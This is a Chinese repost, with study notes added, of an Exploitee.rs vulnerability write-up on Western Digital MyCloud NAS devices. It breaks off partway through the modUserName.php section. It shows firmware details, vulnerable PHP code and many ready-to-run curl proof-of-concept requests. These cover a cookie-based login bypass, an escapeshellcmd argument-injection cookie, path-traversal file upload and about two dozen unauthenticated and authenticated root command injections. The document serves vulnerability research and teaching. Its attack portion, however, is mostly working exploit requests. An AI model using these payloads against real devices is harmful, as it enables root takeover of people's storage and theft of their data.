转:西部数据NAS设备hack
通过该文学习一下常见硬件web漏洞。重点关注一下几个方面:
1.登录验证代码;
2.文件上传代码;
3.system/exec/popen等是否存在注入可能;
4.调用二进制文件;
5.未登陆可以访问的url;
6.sql相关处理
转:https://www.exploitee.rs/index.php/Western_Digital_MyCloud
Western Digital MyCloud
"Although the information we release has been verified and shown to work to the best our knowledge, we cant be held accountable for bricked devices or roots gone wrong."
Contents
[hide]
- 1 About
- 2 Models
- 3 Firmware
- 4 Reversing Firmware
- 5 Firmware Contents
- 6 Web Server
- 7 Writing To LCD Display
- 8 Vulnerabilities
- 8.1 Login Bypass Vulnerability
- 8.2 Arbitrary Root File Write
- 8.3 Pre-Auth Remote Command Execution
- 8.4 Authentication Required Remote Command Execution
- 8.4.1 /web/php/users.php
- 8.4.2 /web/php/upload.php
- 8.4.3 /web/setting/recycle_bin.php
- 8.4.4 /web/php/sendLogToSupport.php
- 8.4.5 /web/php/remoteBackups.php
- 8.4.6 /web/php/noHDD.php
- 8.4.7 /web/php/modUserName.php
- 8.4.8 /web/php/chk_vv_sharename.php
- 8.4.9 /web/google_analytics.php
- 8.4.10 /web/dsdk/DsdkProxy.php
- 8.4.11 /web/backups/usb_backup.php
- 8.4.12 backups/internal_backup.php
- 8.4.13 /web/backups/elephant_drive.php
- 8.4.14 /web/addons/safepoints_api.php
About
The Western Digital "MyCloud" is a series of network attached storage devices.
Models
As of 3/03/2017, the following are the current available models.
- My Cloud
- My Cloud Gen 2
- My Cloud Mirror
- My Cloud PR2100
- My Cloud PR4100
- My Cloud EX2 Ultra
- My Cloud EX2
- My Cloud EX4
- My Cloud EX2100
- My Cloud EX4100
- My Cloud DL2100
- My Cloud DL4100
Firmware
Firmware can be found at the WD Support webpage "MyCloud" firmware download section.
Reversing Firmware
Firmware from the MyCloud devices can be unpacked using binwalk with the following command.
binwalk -Me mycloudfirmware.bin
This runs binwalk with the following options
-M, --matryoshka Recursively scan extracted files
-e, --extract Automatically extract known file types
Firmware Contents
After extracting the firmware the following items can usually be found.
- GRUB EFI Partition
- SquashFS Filesystem (Contains webroot, binaries, etc.)
- CPIO Ramdisk
Web Server
The web root for the web server is located at /var/www/.
- /sdk/ uses a reverse proxy to make requests to http://127.0.0.1:8181/sdk/ which is handled by the /usr/local/restsdk/restsdk-server binary
- API requests using the ^/api/([0-9.]+)/rest/(.*) syntax are passed through /htdocs/api/rest/index.php
- WEBSERVER RUNS AS ROOT
Writing To LCD Display
The code below allows for writing to the display on the WD MyCloud NAS.
Paste the following code below into two files, then compile against the "liblcd_management.so" library taken from the mycloud device or firmware with the following.
gcc lcd_disp.c -o lcd_disp -Llib -Llib/boost -lboost_system -llcd_management;
lcd_management.h
extern int lcd_set_weighted_page(const char *, const char *, unsigned int, unsigned int, char *, char **, unsigned int); extern int lcd_clear_all(const char *); extern int lcd_clear_page(const char *, const char *); extern int lcd_set_sleep_mode(unsigned int);
lcd_disp.c
/*
*
* Created to display text on WD MyCloud NAS Display.
*
*/
#include <stdio.h>
#include <unistd.h>
#include "lcd_management.h" int main(int argc, char *argv[]){
if(argc == 3){
//LCD OFF
lcd_set_sleep_mode(1);
sleep(1);
//LCD ON
lcd_set_sleep_mode(0);
//Clear LCD
lcd_clear_all("lcd_display");
//Display Message
lcd_set_weighted_page("lcd_display", "shutdown_reboot", 1, -1, argv[1], &argv[2], 1);
printf("Added to LCD\n");
}
else
printf("Usage: %s line1str line2str\n", argv[0]); return 0;
}
Vulnerabilities
The following are the vulnerabilities found in this product.
Login Bypass Vulnerability
We divide this into two sections, one with the original state of the login_checker.php vulnerability (Prior to 12/20/2016), and one with current version. Both contains vulnerabilities which allow for the bypassing of authentication validation.
login_checker.php (pre 12/20/2016)
A majority of the PHP scripts on the server contain a check to see if a user is logged in, the code for one of which is below.
Patched as of time of publication.
/var/www/web/lib/login_checker.php
4 function login_check()
5 {
6 $ret = 0;
7
8 if (isset($_SESSION['username']))
9 {
10 if (isset($_SESSION['username']) && $_SESSION['username'] != "")
11 $ret = 2; //login, normal user
12
13 if ($_SESSION['isAdmin'] == 1)
14 $ret = 1; //login, admin
15 }
16 else if (isset($_COOKIE['username']))
17 {
18 if (isset($_COOKIE['username']) && $_COOKIE['username'] != "")
19 $ret = 2; //login, normal user
20
21 if ($_COOKIE['isAdmin'] == 1)
22 $ret = 1; //login, admin
23 }
24 //注意cookie是用户可以控制的
25
26
27 return $ret;
28 }
In the above, the "login_check()" function checks to see if a cookie exists with the name "username" (Ln. 18). It then proceeds to check to see if the username cookie is empty. If the cookie is not empty, the function sets the "ret" variable to 2 signifying that a user is logged in.
The function then also checks to see if the "isAdmin" cookie is equal to 1 (Ln. 21), if the cookie is set and is equal to 1 the "ret" variable is set to 1 signifying that the user logged in is an administrator.
The above code uses a user supplied value to determine if the user is logged in and does not properly validate or store any of the user information preventing an unauthorized user the ability to bypass the authentication.
This can be done by accessing any of the backend PHP scripts and adding the following cookies.
- username = ANYVALUE
- isAdmin = 1
login_checker.php (post 12/20/2016)
A majority of the PHP scripts on the server contain a check to see if a user is logged in, the current code (as of 1/1/2017) for one of which is below.
In the below we begin by looking at the function "login_check()" which is called within the header of php scripts and is used to validate the user info.
/var/www/web/lib/login_checker.php
20 function login_check()
21 {
22 $ret = 0;
23
24 if (isset($_SESSION['username']))
25 {
26 if (isset($_SESSION['username']) && $_SESSION['username'] != "")
27 $ret = 2; //login, normal user
28
29 if ($_SESSION['isAdmin'] == 1)
30 $ret = 1; //login, admin
31 }
32 else if (isset($_COOKIE['username']))
33 {
34 if (isset($_COOKIE['username']) && $_COOKIE['username'] != "")
35 $ret = 2; //login, normal user
36
37 if ($_COOKIE['isAdmin'] == 1)
38 $ret = 1; //login, admin
39
40 if (wto_check($_COOKIE['username']) === 0) //wto check fail
41 $ret = 0;
42 }
43
44 return $ret;
45 }
46 ?>
In the above, the "login_check()" function checks to see if a cookie exists with the name "username" (Ln. 32). It then proceeds to check to see if the username cookie is empty. If the cookie is not empty, the function sets the "ret" variable to 2 signifying that a user is logged in.
The function then also checks to see if the "isAdmin" cookie is equal to 1 (Ln. 37), if the cookie is set and is equal to 1 the "ret" variable is set to 1 signifying that the user logged in is an administrator.
Finally, we reach the part of the code that was added to prevent the vulnerability mentioned in the above section (and patched prior to our publishing of this document) portion of the code. On line 40, a call is made to the “wto_check()” function with the username cookie value as an argument. This function is used to verify that the user has already logged in and uses the IP address of the user, the user supplied username, and a with a timer to determine if the user has recently logged in and should be allowed to continue. Within this function is where the new vulnerability exists.
The code for “wto_check()” can be found below.
/var/www/web/lib/login_checker.php
3 /*
4 return value: 1: Login, 0: No login
5 */
6 function wto_check($username)
7 {
8 if (empty($username))
9 return 0;
10
11 exec(sprintf("wto -n \"%s\" -i '%s' -c", escapeshellcmd($username), $_SERVER["REMOTE_ADDR"]), $login_status);
12 if ($login_status[0] === "WTO CHECK OK")
13 return 1;
14 else
15 return 0;
16 }
17
18 /* ret: 0: no login, 1: login, admin, 2: login, normal user */
19
The “wto_check()” function begins by verify that the supplied variable “$username” is not empty (Ln. 8) , if the variable is not empty the function proceeds. Then on line 11, an exec() call is made to the “wto” binary on the device with the “$username” variable (which is first passed through the PHP function “escapeshellcmd()”) and the "REMOTE_ADDR" array index within the “$_SERVER” PHP superglobal, which contains the requester’s IP address. The “wto” binary is located on the device at “/usr/local/modules/usrsbin/wto” and its arguments can be found below.
# wto --h
Usage: wto [parm]
-h help
-n user name
-i ip address
-s set timeout
-g get timer
-c check timeout
-r reset timer
-a remove all
-x del timeout item
-z show all
-d del user
Looking at the 2 pieces from above (the “wto_check()” function and the arguments to the “wto” binary), we can see that the call within “wto_check()” to the binary is using the ip address and username to check to see if the user’s login timer has expired. This however contains 1 issue, the programmer who patched the code chose to use the wrong PHP function for filtering input. The programmer used the PHP function “escapeshellcmd()” which is used to escape an entire command (as opposed to a single argument) and doesn’t comment out new function arguments. The correct use would have included the similarly named PHP function “escapeshellarg()”, which is used on single arguments within a command. Because the programmer used the wrong function, we are able to use the PHP “exec()” call to reset the login timeout by supplying an extra “-s TIMEOUTVALUE” argument for the user therefore signing them in (as opposed to just checking to see if the user is logged in). The following is an example of such a payload.
username=admin" -s 1337 -c "
This can be paired with the fact that an administrator is just signified by the presence of a cookie with the name "isAdmin" and the value of 1 for full administrator access to the device.
POC (curl argument)
--cookie "isAdmin=1;username=admin\" -s 1337 -c \""
The above can be added to any PHP based RCE requiring authentication for remote root command execution on the device.
Arbitrary Root File Write
The following allow for the ability to place a file anywhere on the NAS without authentication.
/web/addons/upload.php
This PHP page allows for the ability to upload a file to a location anywhere on the server.
Below is the code for the vulnerable PHP file.
addons/upload.php
1 <?php
2 //if(!isset($_REQUEST['name'])) throw new Exception('Name required');
3 //if(!preg_match('/^[-a-z0-9_][-a-z0-9_.]*$/i', $_REQUEST['name'])) throw new Exception('Name error');
4 //
5 //if(!isset($_REQUEST['index'])) throw new Exception('Index required');
6 //if(!preg_match('/^[0-9]+$/', $_REQUEST['index'])) throw new Exception('Index error');
7 //
8 //if(!isset($_FILES['file'])) throw new Exception('Upload required');
9 //if($_FILES['file']['error'] != 0) throw new Exception('Upload error');
10
11 $path = str_replace('//','/',$_REQUEST['folder']);
12 $filename = str_replace('\\','',$_REQUEST['name']);
13 $target = $path . $filename . '-' . $_REQUEST['index'];//../也会吃掉-
14
15 //$target = $_REQUEST['folder'] . $_REQUEST['name'] . '-' . $_REQUEST['index'];
16
17 move_uploaded_file($_FILES['file']['tmp_name'], $target);
18 //$_FILES['file']['tmp_name']指上传的文件,$target指位置。
19
20 //$handle = fopen("/tmp/debug.txt", "w+");
21 //fwrite($handle, $_FILES['file']['tmp_name']);
22 //fwrite($handle, "\n");
23 //fwrite($handle, $target);
24 //fclose($handle);
25
26 // Might execute too quickly.
27 sleep(1);
28
29 ?>
In the code above there is no authentication done for file uploads and although a "-" is forced into the file name, this can be bypassed by placing the entire path in the "index" variable. Placing the entire path within the "index" request variable and using the "../" pattern to navigate different paths allows for complete control of the uploaded file and path where it's placed.
POC
curl -i "http://<IP>/web/addons/upload.php?folder=/tmp&name=a&index=/../../../../tmp/a0" -F "file=@/tmp/aaa"
Pre-Auth Remote Command Execution
The following vulnerabilities allow for privileged access to the NAS without any form of authentication. All commands are executed as root.
/web/addons/ftp_download.php
Authentication Commented Out
This isn’t really a vulnerability but just a place where if the authentication had been in place the RCE within the same code wouldn’t have been made accessible without the login bypass bug.
addons/ftp_download.php
6 //include ("../lib/login_checker.php");
7 //
8 ///* login_check() return 0: no login, 1: login, admin, 2: login, normal user */
9 //if (login_check() == 0)
10 //{
11 // echo json_encode($r);
12 // exit;
13 //}
As you can see from the above, the normal authentication code has been commented out allowing for all functionality within the file to be reached or exploited.
This alone would allow a user to backup to and from an FTP Site.
The following bugs are then accessible through different paths and different variables within the file.
Remote Command Execution
A remote command execution vulnerability exists in the ftp_download functionality of the MyCloud web interface when the "action" variable is set to "create." This bug is accessible without authentication as the normal authentication code has been commented out.
The code below shows the vulnerable area.
addons/ftp_download.php
130 case "create":
131 {
132 $taskname = $_POST['taskname'];
133 $source_dir = $_POST['source_dir'];
134 $dest_dir = $_POST['dest_dir'];
135 $schedule = $_POST['schedule'];
136 $schedule_type = $_POST['backup_sch_type'];
137 $hour = $_POST['hour'];
138 $week = $_POST['week'];
139 $day = $_POST['day'];
140
141 $host = $_POST['host'];
142 $user = $_POST['user'];
143 $pwd = $_POST['pwd'];
144 $lang = $_POST['lang'];
145
146 $sch_command = "";
147 if ($schedule == "0")$sch_command = "0,1,1";
148 else if ($schedule_type == "3")$sch_command = "3,1,".$hour; //daily
149 else if ($schedule_type == "2")$sch_command = "2,".$week.",".$hour; //weekly
150 else if ($schedule_type == "1")$sch_command = "1,".$day.",".$hour; //monthly
151
152
153 $cmd = sprintf("ftp_download -a \"%s\" -i \"%s\" -u \"%s\" -p \"%s\" -l \"%s\" -d \"%s\" -r %s -c jobadd",
154 $taskname, $host, $user, $pwd, $lang, $dest_dir, $sch_command);
155
156 foreach ($source_dir as $val)
157 $cmd .= sprintf(" -s \"%s\"", $val);
158
159 $cmd .= " >/dev/null 2>&1";
160 system($cmd);
161 //pclose(popen($cmd, 'r'));
162 $pname = sprintf("/tmp/r_ftpdl!_%s", $taskname);
163 @unlink($pname);
164
165 stop_job($taskname);
166
167 //Start job
168 //$cmd = sprintf("(ftp_download -a '%s' -c jobrun >/dev/null 2>&1)&", $taskname);
169 $cmd = sprintf("ftp_download -a '%s' -c jobrun > /dev/null 2>&1 &", $taskname);
170 system($cmd);
In lines 133-144, a number of post values are moved into local variables. The variables are then used a few lines later within a system() call. This is all done without any sanitization on the supplied values allowing for command execution through multiple variables.
The "stop_job()" call also contains a command injection bug through its use of the "taskname" variable.
addons/ftp_download.php
115 function stop_job($taskname)
116 {
117 //Stop job
118 $cmd = sprintf("ftp_download -a '%s' -c jobstop >/dev/null 2>&1", $taskname);
119 pclose(popen($cmd, 'r'));
120 sleep(2);
121
122 $pname = sprintf("/tmp/r_%s!_ftpdl", $taskname);
123 file_put_contents($pname, "-10"); //Cancel
124 }
In the above, on line 118, the "taskname" variable is passed in as a function argument. It is then stored in the "cmd" variable in the proper syntax to stop a job through the ftp_download binary. On the next line we can see that the cmd variable is then executed through the popen() call allowing for command injection.
POC
curl "http://<IP>/web/addons/ftp_download.php" --data "action=create&taskname=&source_dir[]=&dest_dir=&schedule=&backup_sch_type=&hour=&week=&day=&host=%24(touch%20/tmp/a1)&user=&pwd=&lang="
The stop_job method is accessible through the following POC.
POC
curl "http://<IP>/web/addons/ftp_download.php" --data "action=stop_jobs&taskname=';touch%20/tmp/a2;'"
Remote Command Execution
A remote command execution vulnerability exists in the ftp_download functionality of the MyCloud web interface when the "action" variable is set to "modify".
addons/ftp_download.php
181 case "modify":
182 {
183 $taskname = $_POST['taskname'];
184 $source_dir = $_POST['source_dir'];
185 $dest_dir = $_POST['dest_dir'];
186 //$backup_type = $_POST['backup_type'];
187 $old_taskname = $_POST['old_taskname'];
188
189 $schedule = $_POST['schedule'];
190 $schedule_type = $_POST['backup_sch_type'];
191 $hour = $_POST['hour'];
192 $week = $_POST['week'];
193 $day = $_POST['day'];
194
195 $host = $_POST['host'];
196 $user = $_POST['user'];
197 $pwd = $_POST['pwd'];
198 $lang = $_POST['lang'];
199
200 $sch_command = "";
201 if ($schedule == "0")$sch_command = "0,1,1";
202 else if ($schedule_type == "3")$sch_command = "3,1,".$hour; //daily
203 else if ($schedule_type == "2")$sch_command = "2,".$week.",".$hour; //weekly
204 else if ($schedule_type == "1")$sch_command = "1,".$day.",".$hour; //monthly
205
206 stop_job($taskname);
207
208 $cmd = sprintf("ftp_download -a \"%s\" -x \"%s\" -i \"%s\" -u \"%s\" -p \"%s\" -l \"%s\" -d \"%s\" -r %s -c jobedit",
209 $taskname, $old_taskname, $host, $user, $pwd, $lang, $dest_dir, $sch_command);
210
211 foreach ($source_dir as $val)
212 $cmd .= sprintf(" -s \"%s\"", $val);
213 $cmd .= " >/dev/null 2>&1";
214 system($cmd);
215 //pclose(popen($cmd, 'r'));
216
217 //Start job
218 //$cmdS = sprintf("ftp_download -a '%s' -c jobrun &", $taskname);
219 $cmdS = sprintf("ftp_download -a '%s' -c jobrun > /dev/null 2>&1 &", $taskname);
220 system($cmdS);
In lines 183-198, a number of post values are moved into local variables. The variables are then used a few lines later within a system() call. This is all done without any sanitization on the supplied values allowing for command execution through multiple variables.
This path also suffers from a command injection vulnerability using the "$taskname" variable through the same "stop_job" code mentioned previously.
POC
curl "http://<IP>/web/addons/ftp_download.php" --data "action=modify&taskname=&source_dir[]=&dest_dir=&schedule=&backup_sch_type=&hour=&week=&day=&host=%24(touch%20/tmp/a3)&user=&pwd=&lang="
Remote Command Execution
A remote command execution vulnerability exists in the ftp_download functionality of the MyCloud web interface when the "action" variable is set to "del".
addons/ftp_download.php
231 case "del":
232 {
233 $taskname = $_POST['taskname'];
234
235 stop_job($taskname);
236
237 $cmd = sprintf("ftp_download -a '%s' -c jobdel >/dev/null 2>&1", $taskname);
238 system($cmd);
In the above, on line 233 the posted "taskname" variable is put into the local "$taskname" var. It is then loaded into the "$cmd" variable as an argument in a command which deletes a job using the ftp_download binary. The cmd variable is then used within the system() call on line 238.
This path also suffers from command injection using the "$taskname" within the same "stop_job" bug mentioned previously.
POC
curl "http://<IP>/web/addons/ftp_download.php" --data "action=del&taskname=';touch%20/tmp/a4;'"
Remote Command Execution
A remote command execution bug exists in the ftp_download functionality of the MyCloud web interface when the "action" variable is set to "go_jobs".
addons/ftp_download.php
250 case "go_jobs":
251 {
252 $taskname = $_POST['taskname'];
253
254 $pname = sprintf("/tmp/r_%s!_ftpdl", $taskname);
255 @unlink($pname);
256
257 $cmd = sprintf("ftp_download -a '%s' -c jobrun &", $taskname);
258 pclose(popen($cmd, 'r'));
On line 252 the posted value for the "taskname" variable is put into the "$taskname" local variable. Then on line 257, the "$taskname" variable is put into "$cmd" and is formatted into the syntax as an argument for the ftp_download binary. Finally on line 258, "$cmd" is used as an argument to the popen() call allowing for command injection.
POC
curl "http://<IP>/web/addons/ftp_download.php" --data "action=go_jobs&taskname=';touch%20/tmp/a5;'"
Remote Command Execution
A remote command execution vulnerability exists in the ftp_download functionality of the MyCloud web interface when the "action" variable is set to "go_restore".
addons/ftp_download.php
282 case "go_restore":
283 {
284 $taskname = $_POST['taskname'];
285
286 stop_job($taskname);
287
288 $pname = sprintf("/tmp/r_%s!_ftpdl", $taskname);
289 file_put_contents($pname, "0"); //Cancel
290
291 $list_xml_file = sprintf("/tmp/r_ftpdl!_restore_imcremental_%s.xml", $taskname);
292 $cmd = sprintf("ftp_download -a '%s' -o '%s' -F %s -c jobrs &", $taskname, $list_xml_file, $_POST['restore_source']);
293 pclose(popen($cmd, 'r'));
In the above, on line 282 the posted "taskname" variable is put into the local "$taskname" var. Then on line 292 the variable is loaded into "$cmd" as an argument for the ftp_download binary. The "$cmd" variable is then used as an argument for the popen() call on line 293 allowing for command injection.
POC
curl "http://<IP>/web/addons/ftp_download.php" --data "action=go_restore&taskname=a&restore_source=;touch%20/tmp/a6;"
/web/storage/raid_cgi.php
Authentication Commented Out
This isn’t really a vulnerability but just a place where if the authentication had been in place the RCE within the same code wouldn’t have been made accessible without the login bypass bug.
storage/raid_cgi.php
6 //include ("../lib/login_checker.php");
7 //
8 ///* login_check() return 0: no login, 1: login, admin, 2: login, normal user */
9 //if (login_check() != 1)
10 //{
11 // echo json_encode($r);
12 // exit;
13 //}
As you can see from the above, the normal authentication code has been commented out allowing for all the functionality within the file to be reached and exploited.
This bug alone would allow a user to conduct device specific tests and get RAID system information.
Because authentication is commented out, the following bug is accessible.
Remote Command Execution
A remote command execution vulnerability exists in the RAID testing functionality of the MyCloud web interface when the "cmd" post variable is set to "cgi_Run_Smart_Test".This bug is accessible without authentication as the normal authentication code has been commented out.
storage/raid_cgi.php
21 case "cgi_Run_Smart_Test":
22 {
23 $run_cmd = $_POST['run_cmd'];
24 system("smart_test -X > /dev/null");
25
26 $run_cmd .= " > /dev/null &";
27 system($run_cmd);
On line 23 the posted "run_cmd" variable is loaded into the local variable "$run_cmd". Then on line 26, the $run_cmd variable has " > /dev/null &" appended to the end and is then used as an argument to the system() call on line 27.
POC
curl "http://<IP>/web/storage/raid_cgi.php" --data "cmd=cgi_Run_Smart_Test&run_cmd=touch%20/tmp/a7"
/web/addons/jqueryFileTree.php
A remote command execution vulnerability exists in the "addons/jqueryFileTree.php" script within the MyCloud web interface. This file contains and uses no authentication code, making this bug "pre-auth".
Remote Command Execution
The following code shows the vulnerability.
addons/jqueryFileTree.php
23 $host = ($_POST['host'] == "")? $_GET['host']:$_POST['host'];
24 $pwd = ($_POST['pwd'] == "")? $_GET['pwd']:$_POST['pwd'];
25 $user = ($_POST['user'] == "")? $_GET['user']:$_POST['user'];
26 $dir = ($_POST['dir'] == "")? $_GET['dir']:$_POST['dir'];
27 $lang = ($_POST['lang'] == "")? $_GET['lang']:$_POST['lang'];
28 //echo $dir."dir1=".dir1;
29 error_reporting(0);
30
31 @unlink("/tmp/ftp-folder.txt");
32 @unlink("/tmp/ftp-file.txt");
33
34 $cmd = sprintf("ftp_download -c gettree -i \"%s\" -u \"%s\" -p \"%s\" -t \"%s\" -l \"%s\"", $host, $user, $pwd ,$dir ,$lang);
35
36 $handle = popen($cmd, 'r');
In the above, lines 23-27 move either a GET or POST value for each variable ("host", "pwd", "user", "dir", and "lang") into the appropriately named local variable. The variables are then all loaded without any sanitization into "$cmd" in a command as an argument for the ftp_download binary. On line 36, the $cmd variable is then passed into the popen call(), executing the command.
POC
curl "http://<IP>/web/addons/jqueryFileTree.php" --data 'host=";touch%20/tmp/a8;"&pwd=&user=&dir=&lang=' OR curl "http://<IP>/web/addons/jqueryFileTree.php" --data 'host=&pwd=";touch%20/tmp/a9;"&user=&dir=&lang=' OR curl "http://<IP>/web/addons/jqueryFileTree.php" --data 'host=&pwd=&user=";touch%20/tmp/a10;"&dir=&lang=' OR curl "http://<IP>/web/addons/jqueryFileTree.php" --data 'host=&pwd=&user=&dir=";touch%20/tmp/a11;"&lang=' OR curl "http://<IP>/web/addons/jqueryFileTree.php" --data 'host=&pwd=&user=&dir=&lang=";touch%20/tmp/a12;"'
/cgi-bin/snmp_mgr.cgi
Five remote command execution vulnerabilities exists in the "cgi-bin/snmp_mgr.cgi" binary within the MyCloud web interface. This file contains and uses no authentication code, making these bugs "pre-auth".
These bugs for now will be released as just POCs and we will be writing up the analysis for these bugs at a later point.
Remote Command Execution
POC
curl -i "http://<IP>/cgi-bin/snmp_mgr.cgi?cmd=cgi_SNMPv3_delete_one_record&uid=%24(touch%20/tmp/a13)"
Remote Command Execution
This RCE has limitation of a 32 character limit for the “uid” field.
POC
curl -i "http://<IP>/cgi-bin/snmp_mgr.cgi?cmd=cgi_get_SNMPv3_one_record&uid=%24(touch%20/tmp/a14)"
Remote Command Execution
This RCE has limitation of a 32 character limit for the “uid” field.
POC
curl -i "http://<IP>/cgi-bin/snmp_mgr.cgi?cmd=cgi_set_SNMP_v2&f_enable=&snmp_enabled_level=&snmp_syslocation=&snmp_syscontact=&f_community=¬ification_community=¬ification_enable=&ip=%24(touch%20/tmp/a15)"
Remote Command Execution
When modifying this RCE, you must ensure that the “data_len” variable contains the correct string length of the “data” variable.
POC
curl -i "http://<IP>/cgi-bin/snmp_mgr.cgi?cmd=cgi_SNMPv3_modify_one_record&data_len=66&data=%3Ca%20id=0%3E%3Ccell%3E%24(touch%20/tmp/a16)%3C/cell%3E%3C/a%3E"
Remote Command Execution
When modifying this RCE, you must ensure that the “data_len” variable contains the correct string length of the “data” variable.
POC
curl -i "http://<IP>/cgi-bin/snmp_mgr.cgi?cmd=cgi_set_SNMPv3_one_record&data_len=66&data=%3Ca%20id=0%3E%3Ccell%3E%24(touch%20/tmp/a17)%3C/cell%3E%3C/a%3E"
/cgi-bin/login_mgr.cgi
A remote command execution vulnerabilities exists in the "cgi-bin/login_mgr.cgi" binary within the MyCloud web interface. This file contains and uses no authentication code, making this bug "pre-auth".
This bug for now will be released as a POC and we will be writing up the analysis for this bug at a later point.
Remote Command Execution
POC
curl -i "http://<IP>/cgi-bin/login_mgr.cgi" --data "cmd=wd_login&username=\a';touch%20/tmp/a18;'&pwd=a"
Authentication Required Remote Command Execution
The following bugs require authentication but, this requirement can be overcome by using the login bypass method listed in the login bypass section above.
A quick example POC using CURL for this bug is:
--cookie "isAdmin=1;username=admin\" -s 1337 -c \""
/web/php/users.php
A remote command execution vulnerability exists in the "php/users.php" script within the MyCloud web interface.
Remote Command Execution
The "php/users.php" file is vulnerable to a remote command execution bug allowing for a logged in user to execute commands.The following code illustrates the vulnerability.
php/users.php
15 $username = $_COOKIE['username'];
16 exec("wto -n \"$username\" -g", $ret);
This bug is very simple, on line 15 the value of the "username" cookie is pulled into a local variable "$username", on the next line the value is used in the exec() call.
POC
curl -i "http://<IP>/web/php/users.php" --cookie "isAdmin=1;username=%24(touch%20/tmp/a19)\" -s 1337 -c \""
/web/php/upload.php
A remote command execution vulnerability exists in the "php/upload.php" script within the MyCloud web interface.
Remote Command Execution
The "php/upload.php" file is vulnerable to a remote command execution bug allowing for a logged in user to execute commands.The following code illustrates the vulnerability.
php/upload.php
15 $username = $_COOKIE['username'];
16 exec("wto -n \"$username\" -g", $ret);
On line 15 the value of the "username" cookie is pulled into a local variable, on the next line the value is used in the exec() call.
POC
curl -i "http://<IP>/web/php/upload.php" --cookie "isAdmin=1;username=%24(touch%20/tmp/a20)\" -s 1337 -c \""
/web/setting/recycle_bin.php
A remote command execution vulnerability exists in the "setting/recycle_bin.php" script within the MyCloud web interface.
Remote Command Execution
The "setting/recycle_bin.php" file is vulnerable to a remote command execution bug allowing for a logged in user to execute commands.The following code illustrates the vulnerability.
setting/recycle_bin.php
45 case "save":
46 {
47 set_xml_value_to_memory("/recycle_bin/auto_clear", $_POST["enable_auto_clear"]);
48 set_xml_value_to_memory("/recycle_bin/day", $_POST["clear_days"]);
In the above, when "action" is set to "save", the set_xml_value_to_memory() is called. The user supplied post value for "enable_auto_clear" and "clear_days" are then used as the second argument for the set_xml_value_to_memory() function. The code for set_xml_value_to_memory() can be found below.
setting/recycle_bin.php
23 function set_xml_value_to_memory($node, $val)
24 {
25 $cmd = sprintf("xmldbc -s %s \"%s\"", $node, $val);
26 pclose(popen($cmd, 'r'));
27 }
The above function "set_xml_value_to_memory" accepts two arguments, "$node" and "$val". In both calls to this code, "$node" is a static value while "$val" is user supplied. On line 25, both the "$node" and "$val" are used to craft a command which is stored in "$cmd" without any sanitization. On line 26, the "$cmd" variable is then used as the argument to popen(), which executes the command within. This allows for remote command execution
POC
curl -i "http://<IP>/web/setting/recycle_bin.php" -d "action=save&enable_auto_clear=0&clear_days=%24(touch%20/tmp/a21)" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/setting/recycle_bin.php" -d "action=save&enable_auto_clear=%24(touch%20/tmp/a22)&clear_days=0" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
/web/php/sendLogToSupport.php
A remote command execution vulnerability exists in the "php/sendLogToSupport.php" script within the MyCloud web interface.
Remote Command Execution
The "php/sendLogToSupport.php" file is vulnerable to a remote command execution bug allowing for a logged in user to execute commands. The following code illustrates the vulnerability.
php/sendLogToSupport.php
15 $username = $_COOKIE['username'];
16 exec("wto -n \"$username\" -g", $ret);
On line 15 the value of the "username" cookie is pulled into a local variable. In the next line the value is used in an exec() call.
POC
curl -i "http://<IP>/web/php/sendLogToSupport.php?cmd=send_log&dev=a" --cookie "isAdmin=1;username=%24(touch%20/tmp/a23)\" -s 1337 -c \""
/web/php/remoteBackups.php
A remote command execution bug exists in the "php/remoteBackups.php" script within the MyCloud web interface.
Remote Command Execution
The "php/remoteBackups.php" file is vulnerable to a remote command execution bug allowing for a logged in user to execute commands.The following code illustrates the vulnerability.
php/remoteBackups.php
18 $cmd = $_REQUEST['cmd'];
19 $RemoteBackupsAPI = new RemoteBackupsAPI;
20
21 switch ($cmd) {
22 case "getRecoverItems":
23 $RemoteBackupsAPI->getRecoverItems();
24 break;
25 }
26
27
28 class RemoteBackupsAPI{
29 public function getRecoverItems()
30 {
31 $xmlPath = "/var/www/xml/rsync_recover_items.xml";
32 $jobName = $_REQUEST['jobName'];
33
34 @unlink($xmlPath);
35
36 $cmd = "rsyncmd -l \"$xmlPath\" -r \"$jobName\" >/dev/null";
37 system($cmd);
On line 18 above the "$cmd" variable is used to determine the path of the code through the use of a switch statement (even though there is only 1 case). If "$cmd" is set to "getRecoverItems", we reach the getRecoverItems() method of the "RemoteBackupsAPI" class. Within this function, the "jobName" request variable (which can be a cookie, get or post value) is loaded into the "$jobName" local var (Ln. 32). From here, a pattern similar to all the rest of the command injection bugs on this page is used which consists of loading the user supplied value (within jobName) into the syntax of an argument for a command (Ln 36). The value is then stored in the "$cmd" variable and used in the PHP system() call on line 37.
POC
curl -i "http://<IP>/web/php/remoteBackups.php?cmd=getRecoverItems&jobName=%24(touch%20/tmp/a24)" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
/web/php/noHDD.php
A remote command execution vulnerability exists in the "php/noHDD.php" script within the MyCloud web interface.
Remote Command Execution
The "php/noHDD.php" file is vulnerable to a remote command execution bug allowing for a logged in user to execute commands.The following code illustrates the vulnerability.
php/noHDD.php
30 $cmd = $_REQUEST['cmd'];
31 $enable = $_REQUEST['enable']; //enable or disable
32
33 switch ($cmd) {
34 case "getDiskStatus":
35 getDiskStatus();
36 break;
37 case "setSataPower":
38 setSataPower($enable);
39 break;
40 }
41 function setSataPower($enable)
42 {
43 $state = "ok";
44 if(file_exists("/tmp/system_ready"))
45 {
46 $setCmd = "sata_power.sh \"$enable\"";
47 exec($setCmd,$retval);
In the above code, the "cmd" request variable (which can be from a get, post, or cookie) value is used to control the flow and is then stored in the local variable "$cmd". If the value supplied is "setSataPower", the function setSataPower() is called (Ln. 38) with the "$enable" variable as an argument. The "$enable" variable contains the value from the user supplied "enable" request variable (which can be from a get, post, or cookie). On line 46, "$enable" is stored as the first argument to a sh script "sata_power.sh" in the $setCmd variable. The "$setCmd" variable is then used as an argument to the PHP exec() function, which executes the command.
The above does depend on the /tmp/system_ready file existing.
POC
curl -i "http://<IP>/web/php/noHDD.php?cmd=setSataPower&enable=%24(touch%20/tmp/a25)" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
/web/php/modUserName.php
A remote command execution vulnerability exists in the "php/modUserName.php" script within the MyCloud web interface.
Remote Command Execution
The "php/modUserName.php" file is vulnerable to a remote command execution bug allowing for a logged in user to execute commands.The following code shows the vulnerability.
php/modUserName.php
